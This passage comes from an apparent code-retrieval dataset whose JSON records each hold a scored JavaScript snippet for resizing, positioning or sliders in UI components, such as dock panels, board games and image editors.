this.left_toggles[0].x + this.left_toggles[0].w / 2),\n y: top, z: Layer.HUD_FG });\n this.right_label.attr({ x: SCREEN.center_in_x(SCREEN.css_width(this.right_label), this.right_toggles[0].x + this.right_toggles[0].w / 2),\n y: top, z: Layer.HUD_FG });\n\n top += label_height * 1.5;\n\n this.launch_button\n .attr({ x: left + width - button_width, y: SCREEN.center_in_y(button_width, top + height / 2), z: Layer.SPRITES,\n w: button_width, h: button_width });\n\n this.gauge.attr({ x: left + toggle_width * 2.8, y: top + height / 2 - gauge_width * 0.8, w: gauge_width, h: gauge_width });\n\n this.lamp.attr({ x: SCREEN.center_in_x(lamp_width, left + toggle_width * 2.8 + gauge_width / 2),\n y: top + height - gauge_width * 0.8,\n w: lamp_width, h: lamp_width });\n\n SCREEN.fadeFromBlack(500);\n this.status.write('SEQUENCE INITIATED');\n}", "title": "" }, { "docid": "64af18025952a1ccd10b1fa85c4db84b", "score": "0.57243097", "text": "updateIconGeometry() {\n // If (for unknown reason) the actor is not on the stage the reported size\n // and position are random values, which might exceeds the integer range\n // resulting in an error when assigned to the a rect. This is a more like\n // a workaround to prevent flooding the system with errors.\n if (this.get_stage() == null)\n return;\n\n let rect = new Meta.Rectangle();\n\n [rect.x, rect.y] = this.get_transformed_position();\n [rect.width, rect.height] = this.get_transformed_size();\n\n let windows = this.getWindows();\n if (Docking.DockManager.settings.get_boolean('multi-monitor')) {\n let monitorIndex = this.monitorIndex;\n windows = windows.filter(function(w) {\n return w.get_monitor() == monitorIndex;\n });\n }\n windows.forEach(function(w) {\n w.set_icon_geometry(rect);\n });\n }", "title": "" }, { "docid": "b22659198e089404fcd36574da680697", "score": "0.571707", "text": "function hideDock_size () {\n if (hideable){\n let monitor = Main.layoutManager.primaryMonitor\n let position_x = monitor.x;\n let height = (this._nicons)*(this._item_size + this._spacing) + 2*this._spacing;\n let width = this._item_size + 4*this._spacing;\n\n Tweener.addTween(this,{\n _item_size: 1,\n time: autohide_animation_time,\n transition: 'easeOutQuad',\n onUpdate: function () {\n height = (this._nicons)*(this._item_size + this._spacing) + 2*this._spacing;\n width = this._item_size + 4*this._spacing;\n switch (position) {\n case PositionMode.LEFT:\n position_x=monitor.x-2*this._spacing;\n break;\n case PositionMode.RIGHT:\n default:\n position_x = monitor.x + (monitor.width-1-this._item_size-2*this._spacing);\n }\n this.actor.set_position (position_x,monitor.y+(monitor.height-height)/2);\n this.actor.set_size(width,height);\n },\n });\n hideDock=true;\n }\n}", "title": "" }, { "docid": "0e57d15831e4aa622f2572ed7b283313", "score": "0.5716834", "text": "function mouseUp(){\n var width = $obj.outerWidth(),\n height= $obj.outerHeight();\n\n $obj.removeClass('w121-resizing');\n\n if(startWidth != width || startHeight != height){\n $(document).off('mousemove.resizes');\n if(typeof opt.afterResize == 'function')\n opt.afterResize($obj,width,height);\n deselect();\n }\n }", "title": "" }, { "docid": "401c1ed4adba7d86d581e03971bcb295", "score": "0.5715226", "text": "function changeSize(width, appbar)\n {\n var scale = width / 575;\n var n;\n posBoard = [parseFloat(parts.divBoard.style.left) + parseFloat(parts.board.style.left), parseFloat(parts.divBoard.style.top) + parseFloat(parts.board.style.top)];\n if (appbar) {\n posBoard[1] += appbar;\n }\n posTiles[1] = 90.1 * scale;\n posTiles[0] = 90.3 * scale;\n posTiles = [posTiles[0], posTiles[1]];\n wallPicWidth = 11 * scale;\n wallPicLength = 81 * scale;\n tileWidth = 35 * scale;\n pawnCenter = vector.mult(0.5, [tileWidth, tileWidth]);\n wallWidth = 10 * scale;\n wallLength = 80 * scale;\n wallDragH = [wallLength - 0.5 * tileWidth, 0.5 * wallWidth];\n wallDragV = [0.5 * wallWidth, wallLength - 0.5 * tileWidth];\n boardWidth = 9 * tileWidth + 8 * wallWidth;\n for (n = 0; n < 2; n++) {\n wallStash[(n + 1) % 2] = [0, n * (posTiles[1] + boardWidth + wallWidth), width,\n n * (posTiles[1] + boardWidth + wallWidth) + wallLength];\n }\n tileSpacing = [wallWidth + tileWidth, wallWidth + tileWidth];\n pawnSize = 35 * scale;\n wMod = 10 * scale;\n lMod = 18 * scale;\n vMod = [-wMod, lMod, wMod, -lMod];\n hMod = [lMod, -wMod, -lMod, wMod];\n scoreBias = 80 * Math.pow(scale, 2) * 10 / 15;\n scoreThresh = 400 * Math.pow(scale, 2) * 10 / 15;\n maxSpeed = 0.50 * scale;\n var x, y, wall, str, pawn;\n setWallHome();\n // REVIEW: Would be nice to just change the global style\n // using:\n // rule = document.styleSheets[1].cssRules['IMG.wall'];\n // rule.style.width = ....\n $(parts.imgBoard).css('width', width);\n $(parts.imgBoard).css('height', width);\n onMouseUp();\n var i, used = false;\n var pawnLoc;\n for (x = 0; x < 2; x++) {\n for (y = 0; y < 10; y++) {\n wall = 'w' + x + '_' + y;\n for (i = 0; i < pp.history.pos; i++) {\n if (pp.history.list[i].from == wall) {\n used = i;\n break;\n }\n }\n if (used !== false) {\n grabbing.wallHome = wall;\n placeWall(pp.history.list[used].move, false);\n if (pp.history.list[used].move[0] == 'v') {\n dom.setSize(parts[wall], [wallPicWidth, wallPicLength]);\n } else {\n dom.setSize(parts[wall], [wallPicLength, wallPicWidth]);\n }\n used = false;\n continue;\n }\n dom.setPos(parts[wall], wallHome[wall]);\n dom.setSize(parts[wall], [wallPicWidth, wallPicLength]);\n }\n dom.setSize(parts['p' + x + 'pic'], [pawnSize, pawnSize]);\n pawnLoc = pawnpwn.encode({i: pp.players[x].i, j: pp.players[x].j, wall: false});\n grabbing.pColor = x;\n placePawn(pawnLoc, false);\n }\n flashGrabbing();\n var yourmoveleft = posTiles[0] - wallWidth;\n dom.setPos(parts.yourmove1, [yourmoveleft, posTiles[1] - wallLength - wallWidth + 3]);\n dom.setPos(parts.yourmove0, [yourmoveleft, posTiles[1] + boardWidth + wallWidth]);\n var json = getDoc();\n }", "title": "" }, { "docid": "4545f15401d8893bf3dc59abf817cba7", "score": "0.5709585", "text": "changeCapSize(e) {\n e = e || event;\n\n // Change cap size using the slider\n if(ui.holdingSlider) {\n theCanvas.ctx.lineWidth = e.target.value;\n const capDisplay = document.querySelector(\"#capWidth-display\");\n capDisplay.style.width = `${e.target.value}px`;\n capDisplay.style.height = `${theCanvas.ctx.lineWidth}px`;\n capDisplay.style.backgroundColor = theCanvas.ctx.strokeStyle;\n console.log(capDisplay);\n }\n\n // If user presses [, decrease size. If user presses ], increase cap size\n if(e.keyCode === 219) {\n theCanvas.ctx.lineWidth--;\n this.capWidth.value = theCanvas.ctx.lineWidth;\n } else if (e.keyCode === 221) {\n theCanvas.ctx.lineWidth++;\n this.capWidth.value = theCanvas.ctx.lineWidth;\n }\n\n ui.displayChanges(\"capSize\");\n }", "title": "" }, { "docid": "24e1e8d22b8c9e82e1a56d4d234ee34a", "score": "0.5706707", "text": "_resizeMoveHandler(event) {\n const that = this;\n\n if (that.disabled || !that.resizable || !that._resizeStarted) {\n return;\n }\n\n const rectObject = that.getBoundingClientRect(),\n min = { width: 50, height: 50 },\n newWidth = event.clientX - rectObject.left,\n newHeight = event.clientY - rectObject.top;\n\n if (newWidth > min.width) {\n that.style.width = newWidth + 'px';\n }\n\n if (newHeight > min.height) {\n that.style.height = newHeight + 'px';\n }\n }", "title": "" }, { "docid": "514c672721d55e3f51ed2c15c95bc9d3", "score": "0.57056487", "text": "function airsliderSetSlidesEditingAreaSizes() {\n var width = parseInt($('.air-admin #air-slider-settings .air-slider-settings-list #air-slider-startWidth').val());\n var height = parseInt($('.air-admin #air-slider-settings .air-slider-settings-list #air-slider-startHeight').val());\n\n $('.air-admin #air-slides .air-slide .air-slide-editing-area').css({\n 'width' : width,\n 'height' : height,\n });\n\n// $('.air-admin').css({\n// 'width' : width,\n// });\n }", "title": "" }, { "docid": "4a8e0c189c962c1e3cfd53f6ee25183f", "score": "0.57056284", "text": "function makeResizable(id) {\n $(id).resizable({\n start: function(event, ui) {\n $(\".close-icon\").hide();\n $(id).css({\n 'outline': \"2px solid grey\"\n });\n },\n resize: function(event, ui) {\n jsPlumbInstance.revalidate(ui.helper);\n },\n stop: function(event, ui) {\n $(id).css({\n 'outline': \"none\"\n });\n },\n handles: \"all\"\n });\n }", "title": "" }, { "docid": "750c922af1efcc42c74b7590cbac517d", "score": "0.5704966", "text": "function onSizeChange(){\n\t\t\t\n\t\tplaceSlider();\n\t\t\t\t\n\t}", "title": "" }, { "docid": "f4db6b2de9fd787d70c01220b94a0354", "score": "0.5698189", "text": "updateSize () {\n if (this.isOpen && this.hgInstance ) {\n this.hgInstance.resize({width: this.getWidth(), height: this.optionsGetter.height})\n }\n }", "title": "" }, { "docid": "660f573547bc0e98da17ad317d016f0f", "score": "0.56909585", "text": "function layerSizeUpdate(_) {\n\t\tswitch (_.l.type) {\n\t\t\tcase \"image\":\n\t\t\t\tif (_.ignore!==true) RVS.F.updateSliderObj({path:_.pre+'size.'+_.direction+'.#size#.v',val:_.v, ignoreBackup:_.ignoreBackup});\n\n\t\t\t\tvar newV;\n\n\t\t\t\tif (_.direction===\"width\")\n\t\t\t\t\tnewV = (jQuery.isNumeric(_.v) || (!jQuery.isNumeric(_.v) && _.v.indexOf(\"px\")>=0)) ? Math.round(parseInt(_.v,0) / _.l.size.aspectRatio[RVS.screen].v) : \"auto\";\n\t\t\t\telse\n\t\t\t\t\tnewV = (!jQuery.isNumeric(_.v) && _.v.indexOf(\"%\")>=0) ? Math.round(( getLayerParentContainerSize({uid:_.uid}).height * (parseInt(_.v,0)/100) ) * _.l.size.aspectRatio[RVS.screen].v) : _.v===\"auto\" ? _.v : Math.round(parseInt(_.v,0) * _.l.size.aspectRatio[RVS.screen].v);\n\t\t\t\tnewV = newV===\"auto\" ? newV : newV+\"px\";\n\t\t\t\tRVS.F.updateSliderObj({path:_.pre+'size.'+_.dirB+'.#size#.v',val:newV, ignoreBackup:_.ignoreBackup});\n\t\t\tbreak;\n\t\t\tcase \"group\":\n\t\t\tcase \"shape\":\n\t\t\t\tvar newV= _.v===\"auto\" ? \"100px\" : _.v;\n\t\t\t\tif (_.ignore!==true) RVS.F.updateSliderObj({path:_.pre+'size.'+_.direction+'.#size#.v',val:newV, ignoreBackup:_.ignoreBackup});\n\t\t\t\tif (jQuery.isNumeric(parseInt(newV,0))) {\n\t\t\t\t\tnewV = (_.direction===\"width\") ? Math.round(parseInt(newV,0) / _.l.size.aspectRatio[RVS.screen].v) : Math.round(parseInt(newV,0) * _.l.size.aspectRatio[RVS.screen].v);\n\t\t\t\t\tRVS.F.updateSliderObj({path:_.pre+'size.'+_.dirB+'.#size#.v',val:newV, ignoreBackup:_.ignoreBackup});\n\t\t\t\t}\n\t\t\tbreak;\n\t\t\tcase \"video\":\n\t\t\t\tif (_.ignore!==true) RVS.F.updateSliderObj({path:_.pre+'size.'+_.direction+'.#size#.v',val:_.v, ignoreBackup:_.ignoreBackup});\n\n\t\t\t\tvar newV,prop = _.l.media.ratio.split(\":\");\n\t\t\t\tprop = prop[0] / prop[1];\n\n\t\t\t\tif (_.direction===\"width\")\n\t\t\t\t\tnewV = (jQuery.isNumeric(_.v) || (!jQuery.isNumeric(_.v) && _.v.indexOf(\"px\")>=0)) ? Math.round(parseInt(_.v,0) / prop) : \"auto\";\n\t\t\t\telse\n\t\t\t\t\tnewV = (!jQuery.isNumeric(_.v) && _.v.indexOf(\"%\")>=0) ? Math.round(( getLayerParentContainerSize({uid:_.uid}).height * (parseInt(_.v,0)/100) ) * prop) : _.v===\"auto\" ? _.v : Math.round(parseInt(_.v,0) * prop);\n\t\t\t\tnewV = newV===\"auto\" ? _.dirB===\"width\" ? \"100%\" : newV : newV+\"px\";\n\n\t\t\t\tRVS.F.updateSliderObj({path:_.pre+'size.'+_.dirB+'.#size#.v',val:newV, ignoreBackup:_.ignoreBackup});\n\t\t\tbreak;\n\t\t}\n\t}", "title": "" }, { "docid": "000ff78e7473905d380bacdf7eaa53c3", "score": "0.568815", "text": "up(e) {\n if (this.mode === 'stretch') {\n this.mode = 'fly';\n this.frame = this.trumpSize/2;\n this.releaseX = this.x;\n this.releaseY = this.y;\n this.stretchX = (this.slingX - this.x);\n this.stretchY = (this.slingY - this.y);\n }\n if (this.mode === 'drag') this.mode = 'ready';\n }", "title": "" }, { "docid": "b4e976f14fbc1123ea8c88f2f2ae9409", "score": "0.5678475", "text": "function resize() {\n var ps = ws.dom.size(parent),\n cs = ws.dom.size(container);\n\n if (responsive && ps.h < 50 && ps.h !== 0 && ps.h) {\n ws.dom.style(compactIndicator, {\n display: 'block'\n });\n ws.dom.style(container, {\n display: 'none'\n });\n } else if (responsive) {\n ws.dom.style(compactIndicator, {\n display: 'none'\n });\n ws.dom.style(container, {\n display: ''\n });\n }\n\n // ws.dom.style(container, {\n // //height: ps.height + 'px'\n // height: '100%'\n // });\n }", "title": "" }, { "docid": "c167963137eb66a6ec0d0c78d7181b7d", "score": "0.56728446", "text": "function hideDock_size()\n{\n if (hideable) {\n let monitor = Main.layoutManager.primaryMonitor;\n if (this._displayMonitor > -1 &&\n this._displayMonitor < Main.layoutManager.monitors.length) {\n monitor = Main.layoutManager.monitors[this._displayMonitor];\n }\n let height = 0;\n let width = 0;\n let position_x = 0;\n let position_y = 0;\n\n Tweener.addTween(this, {\n _item_size: 1,\n time: this.hide_effect_duration * 0.001,\n transition: 'easeOutQuad',\n onUpdate: function()\n {\n switch (this.position) {\n case PositionMode.TOP:\n height = this._item_size + 4 * this._spacing;\n width = (this._nicons) * (this._item_size + this._spacing)\n + 2 * this._spacing;\n position_x = monitor.x + (monitor.width - width) / 2;\n position_y = monitor.y - 2 * this._spacing;\n break;\n case PositionMode.BOTTOM:\n height = this._item_size + 4 * this._spacing;\n width = (this._nicons) * (this._item_size + this._spacing)\n + 2 * this._spacing;\n position_x = monitor.x + (monitor.width - width) / 2;\n position_y = monitor.y + (monitor.height - this._item_size\n - 2 * this._spacing);\n break;\n case PositionMode.LEFT:\n height = (this._nicons) * (this._item_size + this._spacing)\n + 2 * this._spacing;\n width = this._item_size + 4 * this._spacing;\n position_x = monitor.x - 2 * this._spacing;\n position_y = monitor.y + (monitor.height - height) / 2;\n break;\n case PositionMode.RIGHT:\n default:\n height = (this._nicons) * (this._item_size + this._spacing)\n + 2 * this._spacing;\n width = this._item_size + 4 * this._spacing;\n position_x = monitor.x + (monitor.width - this._item_size\n - 2 * this._spacing);\n position_y = monitor.y + (monitor.height - height) / 2;\n }\n this.actor.set_position(position_x, position_y);\n this.actor.set_size(width, height);\n // Force the layout manager to update the input region\n Main.layoutManager._chrome.updateRegions();\n }, \n });\n hideDock = true;\n }\n}", "title": "" }, { "docid": "0e05c6cdd39a53a28a53d734a327620a", "score": "0.5670479", "text": "function setSouthSize(pp){ \n\t\t\tif (pp.length == 0) return; \n\t\t\tpp.panel('resize', { \n\t\t\t\twidth: cc.width(), \n\t\t\t\theight: pp.panel('options').height, \n\t\t\t\tleft: 0, \n\t\t\t\ttop: cc.height() - pp.panel('options').height \n\t\t\t}); \n\t\t\tcpos.height -= pp.panel('options').height; \n\t\t}", "title": "" }, { "docid": "43fa54c55c8c28dee4f37d3eec382cb6", "score": "0.56699884", "text": "updateUI(){\n\t\tdocument.getElementById('imageItemName').value = this.name;\n\t\tdocument.getElementById('imageItemX').value = this.x;\n\t\tdocument.getElementById('imageItemY').value = this.y;\n\t\tdocument.getElementById('imageItemSizeType').value = this.scaling;\n\t\tdocument.getElementById('imageItemScaleRatio').value = this.scaleRatio;\n\t\tdocument.getElementById('imageItemScaledWidth').value = this.scaledWidth;\n\t\tdocument.getElementById('imageItemScaledHeight').value = this.scaledHeight;\n\t\tdocument.getElementById('imageItemPreserveAspect').checked = this.preserveAspect;\n\t\tlet newheight = 0;\n\t\tif(this.scaling == 0){\n\t\t\tdocument.getElementById(\"imageItemSizeManual\").style.display = \"none\";\n\t\t\tdocument.getElementById(\"imageItemSizeScaled\").style.display = \"none\";\n\t\t}\n\t\telse if(this.scaling == 1){\n\t\t\tdocument.getElementById(\"imageItemSizeManual\").style.display = \"none\";\n\t\t\tdocument.getElementById(\"imageItemSizeScaled\").style.display = \"flex\";\n\t\t\tnewheight = document.getElementById(\"imageItemSizeScaled\").offsetHeight;\n\t\t}\n\t\telse if(this.scaling == 2){\n\t\t\tdocument.getElementById(\"imageItemSizeManual\").style.display = \"flex\";\n\t\t\tdocument.getElementById(\"imageItemSizeScaled\").style.display = \"none\";\n\t\t\tnewheight = document.getElementById(\"imageItemSizeManual\").offsetHeight;\n\t\t}\n\t\tdocument.getElementById(\"imageItemResizer\").style.height = newheight.toString() + \"px\";\n\t\tdocument.getElementById('imageItemBackground').checked = this.background;\n\t\tdocument.getElementById('imageItemBackgroundColor').value = this.backgroundColor;\n\t\tdocument.getElementById('imageItemPadding').value = this.padding;\n\t\tdocument.getElementById('imageItemBorder').value = this.border;\n\t\tdocument.getElementById('imageItemBorderColor').value = this.borderColor;\n\t\tdocument.getElementById('imageItemRoundness').value = this.roundness;\n\t}", "title": "" }, { "docid": "3151aa9019fab87f086a44cd0c2fd2a3", "score": "0.56634593", "text": "function resizeNorth(e) {\n var calculateValue = false;\n var boundaryRectValues;\n var pageY = (getEventType(e.type) === 'mouse') ? e.pageY : e.touches[0].pageY;\n var targetRectValues = getClientRectValues(targetElement);\n if (!(0,_syncfusion_ej2_base__WEBPACK_IMPORTED_MODULE_0__.isNullOrUndefined)(containerElement)) {\n boundaryRectValues = getClientRectValues(containerElement);\n }\n if (!(0,_syncfusion_ej2_base__WEBPACK_IMPORTED_MODULE_0__.isNullOrUndefined)(containerElement) && (targetRectValues.top - boundaryRectValues.top) > 0) {\n calculateValue = true;\n }\n else if ((0,_syncfusion_ej2_base__WEBPACK_IMPORTED_MODULE_0__.isNullOrUndefined)(containerElement) && pageY > 0) {\n calculateValue = true;\n }\n var currentHeight = originalHeight - (pageY - originalMouseY);\n if (calculateValue) {\n if (currentHeight >= minHeight && currentHeight <= maxHeight) {\n var containerTop = 0;\n if (!(0,_syncfusion_ej2_base__WEBPACK_IMPORTED_MODULE_0__.isNullOrUndefined)(containerElement)) {\n containerTop = boundaryRectValues.top;\n }\n var top_1 = (originalY - containerTop) + (pageY - originalMouseY);\n top_1 = top_1 > 0 ? top_1 : 1;\n targetElement.style.height = currentHeight + 'px';\n targetElement.style.top = top_1 + 'px';\n }\n }\n}", "title": "" }, { "docid": "889e64d522119ee1c2b11df75706c8f1", "score": "0.5661589", "text": "function buildUI (thisObj ) {\r var H = 25; // the height\r var W = 30; // the width\r var G = 5; // the gutter\r var x = G;\r var y = G;\r\r var win = (thisObj instanceof Panel) ? thisObj : new Window('palette', 'shape-distorter',[0,0,W*6+3*G,H*4+5*G],{resizeable: true});\r\r if (win !== null) {\r\r\r win.check_box_inouttan = win.add('checkbox',[x,y,x+W*5,y + H],'in tan out tan?');\r win.check_box_inouttan.value = distort_data.distort_in_out_tan;\r y+=H+G;\r win.x_label_range = win.add('statictext',[x,y,x+W*3,y+H],'x distort range: ');\r x+=W*3+G;\r win.x_range = win.add('edittext',[x,y,x+W*3,y+H],String(distort_data.x));\r x=G;\r y+=H+G;\r // win.x_slider = w.add (\"slider\", [x,y,x+W*6+G,y+H], 50, 0, 100);\r win.y_label_range = win.add('statictext',[x,y,x+W*3,y+H],'y distort range: ');\r x+=W*3+G;\r win.y_range = win.add('edittext',[x,y,x+W*3,y+H],String(distort_data.y));\r x=G;\r y+=H+G;\r win.doit_button = win.add('button', [x ,y,x+W*6+G,y + H], 'distort');\r // win.up_button = win.add('button', [x + W*5+ G,y,x + W*6,y + H], 'Up'); \r\r win.check_box_inouttan.onClick = function (){\r distort_data.distort_in_out_tan = this.value;\r };\r win.doit_button.onClick = function () {\r distort();\r };\r win.x_range.onChange = function () {\r distort_data.x = parseInt(this.value,10);\r };\r win.y_range.onChange = function () {\r distort_data.y = parseInt(this.value,10);\r };\r // slider.onChanging = function () {e.text = slider.value;}\r\r }\r return win;\r}", "title": "" }, { "docid": "168fe58b4886836733affd827d7d3e4c", "score": "0.5657553", "text": "function resizeFrame(newValue) {\n var containerWidth;\n var presentationHeight;\n if (newValue !== undefined){\n containerWidth = newValue.w;\n presentationHeight = newValue.h;\n }\n else{\n containerWidth = dragContainer.parent().width();\n presentationHeight = dragContainer.parent().height();\n }\n //4:3 = presentationWidth:presentationHeight\n var presentationWidth = presentationHeight * 4 / 3;\n if (presentationWidth > containerWidth){\n presentationWidth = containerWidth;\n //4:3 = presentationWidth:presentationHeight\n presentationHeight = presentationWidth * 3 / 4;\n }\n dragContainer[0].style.height = presentationHeight + \"px\";\n dragContainer[0].style.width = presentationWidth + \"px\";\n }", "title": "" }, { "docid": "6f6de5f3112084e4a6388049540329f1", "score": "0.5657151", "text": "function changeSize() {\r\n\t\tif ($(\"undertitle\") !== null) {\r\n\t\t\tdisplay();\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "f7448442e2c11b96a71652dd095b5fec", "score": "0.56568515", "text": "function doResize() {\n fixAreaCoords();\n\n update();\n\n options.onSelectChange(img, getSelection());\n }", "title": "" }, { "docid": "5757b4507017f870254bbab1b80a014f", "score": "0.5642055", "text": "function startDrag (evt) {\n\t\tif (targetSide) {\n\t\t\t//Fix event properties\n\t\t\tevt = fixEvent(evt);\n\t\t\tgetImgDim();\n\t\t\tif (targetSide == 1) {\n\t\t\t\tvar scale = evt.pageX - getElPos(widthScaleBarId).left;\n\t\t\t\tscale = (scale > maxBarScale) ? maxBarScale : ( (scale <= 0) ? minBarScale : scale);\n\t\t\t\tnewWidth = parseInt(imgProp.width * (scale/100));\n\t\t\t\tif (saveProp) {\n\t\t\t\t\tnewHeight = parseInt(imgProp.height * (scale/100));\n\t\t\t\t}\n\t\t\t} else if (targetSide == 2) {\n\t\t\t\tvar scale = evt.pageX - getElPos(heightScaleBarId).left;\n\t\t\t\tscale = (scale > maxBarScale) ? maxBarScale : ( (scale <= 0) ? minBarScale : scale);\n\t\t\t\tif (saveProp) {\n\t\t\t\t\tnewWidth = parseInt(imgProp.width * (scale/100));\n\t\t\t\t}\n\t\t\t\tnewHeight = parseInt(imgProp.height * (scale/100))\n\t\t\t}\n\t\t\tsetImgDim();\n\t\t\t//Aply the new width and heigth\n\t\t\tapplyImgDim();\n\t\t\tadjustSizePointer();\n\t\t\tcancelEvent(evt);\n\t\t}\n\t}", "title": "" }, { "docid": "23f00b826a427716ffd7f834eb4cf19f", "score": "0.56393397", "text": "on_size(w, h, x, y) {\n var w_changed = this.w !== w || this.x !== x;\n var h_changed = this.h !== h || this.y !== y;\n\n if (h_changed) {\n this.y = y;\n this.on_h_size(h);\n }\n\n if (w_changed) {\n this.x = x;\n this.list_x = this.x + g_properties.list_left_pad;\n this.on_w_size(w);\n }\n }", "title": "" }, { "docid": "ab4f2c2c0910339e791d5bffffddbbc9", "score": "0.5639205", "text": "function pokemonSizer(pokemon, height, width) {\r\n setProperty(\"choose\" + pokemon, \"width\", width);\r\n setProperty(\"choose\" + pokemon, \"height\", height);\r\n}", "title": "" }, { "docid": "559e880ed3eec2e16cbd6be8e062bf0c", "score": "0.56386167", "text": "function resizeArt(){\r\n app.executeMenuCommand(\"selectall\");\r\n var doc = app.activeDocument,\r\n selection = doc.selection;\r\n if (selection.length > 0){\r\n for (n = 0; n < selection.length; n++){\r\n var item = selection[n]\r\n \r\n abActive = doc.artboards[ doc.artboards.getActiveArtboardIndex() ],\r\n abProps = getArtboardBounds(abActive),\r\n boundsDiff = itemBoundsDiff(selection[n]);\r\n \r\n // Scale object to fit artboard:\r\n fitItem(item, abProps, boundsDiff);\r\n }\r\n } else {\r\n alert(\"Select an object before running this script.\");\r\n }\r\n app.redraw();\r\n }", "title": "" }, { "docid": "3afd0aa8a4e79f258ee19768f8699ffa", "score": "0.56340045", "text": "_updateElementSize() {\n if (!this._pane) {\n return;\n }\n const style = this._pane.style;\n style.width = Object(_angular_cdk_coercion__WEBPACK_IMPORTED_MODULE_5__[\"coerceCssPixelValue\"])(this._config.width);\n style.height = Object(_angular_cdk_coercion__WEBPACK_IMPORTED_MODULE_5__[\"coerceCssPixelValue\"])(this._config.height);\n style.minWidth = Object(_angular_cdk_coercion__WEBPACK_IMPORTED_MODULE_5__[\"coerceCssPixelValue\"])(this._config.minWidth);\n style.minHeight = Object(_angular_cdk_coercion__WEBPACK_IMPORTED_MODULE_5__[\"coerceCssPixelValue\"])(this._config.minHeight);\n style.maxWidth = Object(_angular_cdk_coercion__WEBPACK_IMPORTED_MODULE_5__[\"coerceCssPixelValue\"])(this._config.maxWidth);\n style.maxHeight = Object(_angular_cdk_coercion__WEBPACK_IMPORTED_MODULE_5__[\"coerceCssPixelValue\"])(this._config.maxHeight);\n }", "title": "" }, { "docid": "b1504ba38aa7139c8cf1116962f17220", "score": "0.56328976", "text": "function updateUI() {\n if (isSmall) {\n view.ui.add(expandLegend, 'top-right');\n view.ui.remove(legend);\n view.ui.components = [\"attribution\"];\n } else {\n view.ui.add(legend, 'top-right');\n view.ui.remove(expandLegend);\n view.ui.components = [\"attribution\", \"zoom\"];\n }\n }", "title": "" }, { "docid": "7ead94086108c816bfda30701dee205e", "score": "0.56328106", "text": "function adjustPaperHight(action){\r\n if(display.offsetHeight > 473 && action === \"add\") \r\n paper.style.height = `${paper.offsetHeight + 25}px`;\r\n else if(display.offsetHeight > 448 && action === \"remove\")\r\n paper.style.height = `${paper.offsetHeight - 25}px`;\r\n else if(action === \"reset\")\r\n paper.style.height = `550px`;\r\n}", "title": "" }, { "docid": "904dd672be8e60ee6fda4825ee44bdb5", "score": "0.56319106", "text": "function updateSizes() {\n // ratio = width / height\n // area = width * height\n // width = area / height\n // width = ratio * height\n // width * width = area * ratio\n // height = area / width\n var ratio = s_outline.width() / s_outline.height();\n var s_area = s_outline.width() * s_outline.height();\n var a_p = $('#' + container_id + 'sbA').slider('value') / 100;\n var a_area = s_area * a_p;\n var a_width = Math.sqrt(a_area * ratio);\n var a_height = a_area / a_width;\n a_outline.width(a_width + 'px');\n a_outline.height(a_height + 'px');\n var b_p = $('#' + container_id + 'sbB').slider('value') / 100;\n var b_area = s_area * b_p;\n var b_width = Math.sqrt(b_area * ratio);\n var b_height = b_area / b_width;\n b_outline.width(b_width + 'px');\n b_outline.height(b_height + 'px');\n syncPositions();\n }", "title": "" }, { "docid": "5c48629ece83ab93dcbabdb27482b954", "score": "0.5627953", "text": "function adjustSizePointer () {\n\t\tvar scaleW, scaleH;\n\t\tscaleW = newWidth / imgProp.width;\n\t\tscaleW = ( (scaleW <= 0) || isNaN(scaleW)) ? minBarScale/100 : scaleW;\n\t\tscaleW = round(parseInt((scaleW * 100)));\n\t\tscaleH = newHeight / imgProp.height;\n\t\tscaleH = ( (scaleH <= 0) || isNaN(scaleH)) ? minBarScale/100 : scaleH;\n\t\tscaleH = round(parseInt((scaleH * 100)));\n\n\t\tvar sizeBarPosW = getElPos(widthScaleBarId);\n\t\t$(widthScaleLabelId).innerHTML = ( (scaleW <= 0) ? minBarScale : scaleW) + ' %';\n\t\tscaleW = (scaleW > maxBarScale) ? maxBarScale : scaleW;\n\t\t$(widthScalePointerId).style.left = getElPos(widthScaleBarId).left + scaleW - (getElPos(widthScalePointerId).width/2) + 'px';\n\t\tvar sizeBarPosH = getElPos(heightScaleBarId);\n\t\t$(heightScaleLabelId).innerHTML = ( (scaleH <= 0) ? minBarScale : scaleH) + ' %';\n\t\tscaleH = (scaleH > maxBarScale) ? maxBarScale : scaleH;\n\t\t$(heightScalePointerId).style.left = getElPos(heightScaleBarId).left + scaleH - (getElPos(heightScalePointerId).width/2) + 'px';\n\t}", "title": "" }, { "docid": "c684981102f8b78d313250b79c7c9189", "score": "0.5626994", "text": "function changeBoardSize() {\n\t// Should clear the board before resizing it\n\tclearBoard();\n\t\n\t// Get new dimensions\n\tvar rowsSelector = document.getElementById(\"rows-selector\");\n\tvar rows = rowsSelector.options[rowsSelector.selectedIndex].value;\n\tvar colsSelector = document.getElementById(\"cols-selector\");\n\tvar cols = colsSelector.options[colsSelector.selectedIndex].value;\n\t\n\t// Remove all content within board-container div element\n\tvar boardContainer = document.getElementsByClassName(\"board-container\")[0];\n\tboardContainer.innerHTML = \"\";\n\n\t// Create the new board within the board-container div element with the new dimensions\n\tcreateBoard(rows, cols);\n}", "title": "" }, { "docid": "6723ccdd484a60191db27f134c105f7f", "score": "0.56247425", "text": "function handleResize() {\n\t\t\t\t\t// 1. update height of step elements\n\t\t\t\t/*\tvar stepH = Math.floor(window.innerHeight * 0.75);\n\t\t\t\t\tstepSel.style('height', stepH + 'px');*/\n\t\t\t\t\tvar figureHeight = window.innerHeight / 2\n\t\t\t\t\tvar figureMarginTop = (window.innerHeight - figureHeight) / 2 \n\t\t\t\t\tfigure\n\t\t\t\t\t\t.style('height', figureHeight + 'px')\n\t\t\t\t\t\t.style('top', figureMarginTop + 'px');\n\n\t\t\t\t\tfigureLever\n\t\t\t\t\t\t.style('height', figureHeight/2 + 'px')\n\t\t\t\t\t\t.style('top', figureMarginTop + 'px');\n\t\t\t\t\t// 3. tell scrollama to update new element dimensions\n\t\t\t\t\tscroller.resize();\n\t\t\t\t}", "title": "" }, { "docid": "b70871470a97bc47bbd3f697631395c6", "score": "0.5623551", "text": "function changeSize() {\n if (this.value == \"medium\") {\n $(\"readarea\").style.fontSize = \"36pt\";\n } else if (this.value == \"big\") {\n $(\"readarea\").style.fontSize = \"48pt\";\n } else {\n $(\"readarea\").style.fontSize = \"60pt\";\n }\n }", "title": "" }, { "docid": "afa581d31a6dd17c879790f352a6d3d4", "score": "0.5607611", "text": "onDisplaySizeSliderDrag_() {\n if (!this.selectedDisplay) {\n return;\n }\n\n const sliderValue =\n this.$.displaySizeSlider.shadowRoot.querySelector('#slider').value;\n const 